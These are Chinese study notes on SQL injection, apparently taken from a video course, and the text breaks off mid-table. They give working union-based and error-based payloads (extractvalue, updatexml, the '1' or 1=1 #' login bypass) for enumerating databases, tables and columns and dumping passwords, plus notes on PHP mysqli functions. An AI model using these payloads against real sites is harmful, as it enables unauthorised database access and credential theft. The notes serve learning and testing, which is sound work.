部分内容来自于SQL注入由简入精_哔哩哔哩_bilibili
简述版:
判断是数字型注入还是字符型注入:【字符型需要‘’闭合符,而数字型不用】
方法一:提交 and 1=1和提交 and 1=2 都能正常显示界面 ===>字符型注入
方法二:提交 id=1和提交id=2-1界面相同 ===>数字型注入(数字可以运算)
方法三:id=1后面随便跟一大堆字母,有回显就是字符型,没回显就是数字型
注释符号:--+ # // %23
具体步骤:
1.【知道是什么类型的】
2.【知道有几列】
3.【知道存放重要信息的那个数据库名字叫啥】
4.【知道那个重要的数据库里头需要找的表名字叫啥】
5.【知道每一列列名叫啥】
6.【把那个列名打印出来】
怎么判断是MySQL还是SQLite:
所以可以通过版本查询
10.3.18-MariaDB:MySQL
一些误区
1.database():这是一个函数,需要结合 select 来使用,比如说select 1,2,database()
返回值:返回当前会话中正在使用的数据库名称。
2.show_databases:是一个SQL命令,直接执行,
返回值:一个结果集,列出MySQL服务器上所有的数据库名称(包括系统库)。
3.判断是否存在SQL注入:万能密码 1' or 1=1 #
或者 1' || 1=1 #
4.and,or,union:
and所有条件同时满足时返回结果
or任意一个条件满足时返回结果
union合并多个SELECT查询结果集,注意所有SELECT列数必须相同
数字型注入
1.判断有几列
1‘ order by 3 #
2.爆数据库名
1' union select 1,2,database() #
这里或者不用爆库名也行,因为后面可以table_schema=database()
3.爆表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' #
4.爆列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='数据表名' and table_schema='数据库名' #
5.查询列(我们已经在这个数据库里面了,所以只需要输入表名就行了)
1' union select 1,2,password from 数据表名
报错注入
1.利用extractvalue()报错(仅查询)
extractvalue(文档对象名称,路径)
如果把参数路径写错,则会报错,但是查询不到内容
所以需要把查询参数格式写错: 0x7e表示~,目的在于引起报错
注意这个只能显示32个字符,需要用substring一段一段读
查询库名:
1 and extractvalue(1,concat(0x7e,(select database()))) #
查询表名:
1 and extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),1,15)from information_schema.tables where table_schema='sqli'))) --+
2.利用updatexml报错(查询并替换)
updatexml(文档对象名称,路径,新值)
查询表名:
用1=updatexml()
1 and 1=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3) --+
或者直接select updatexml()
1 and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)) --+
SQL语句
1.mysqli_error():返回最近调用函数的最后一个错误描述
语法:mysqli_error(connection) 规定要使用的Mysql连接;
返回一个带有错误描述的字符串。如果没有错误发生则返回 ""
2.mysqli_errno() :函数返回最近调用函数的最后一个错误代码。
语法:mysqli_errno(connection);
返回错误代码值。如果没有错误发生则返回 0。
3.mysqli_fetch_array():从结果集中取得一行作为数字数组或关联数组
语法:mysqli_fetch_array(result,resulttype);
返回与读取行匹配的字符串数组。如果结果集中没有更多的行则返回 NULL。
4.mysqli_connect():打开一个到 MySQL 服务器的新的连接
语法:mysqli_connect(host,username,password,dbname,port,socket);
返回值:回一个代表到 MySQL 服务器的连接的对象。
5.mysqli_query():执行对数据库的查询
语法:mysqli_query(connection,query,resultmode);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
query | 必需,规定查询字符串。 |
resultmode | 可选。一个常量。可以是下列值中的任意一个:
|
返回值:针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询,将返回一个 mysqli_result 对象。针对其他成功的查询,将返回 TRUE。如果失败,则返回 FALSE。
字段 | 含义 |
Table_catalog | 数据表登记目录 |
Table_schema | 数据表所属的数据库名 |
Table_name | 表名称 |
Table_type | 表类型[system view|base table] |
Engine | 使用的数据库引擎[MyISAM|CSV|InnoDB] |
Version | 版本,默认值10 |
Row_format | 行格式[Compact|Dynamic|Fixed] |
Table_rows | 表里所存多少行数据 |
Avg_row_length | 平均行长度 |
Data_length |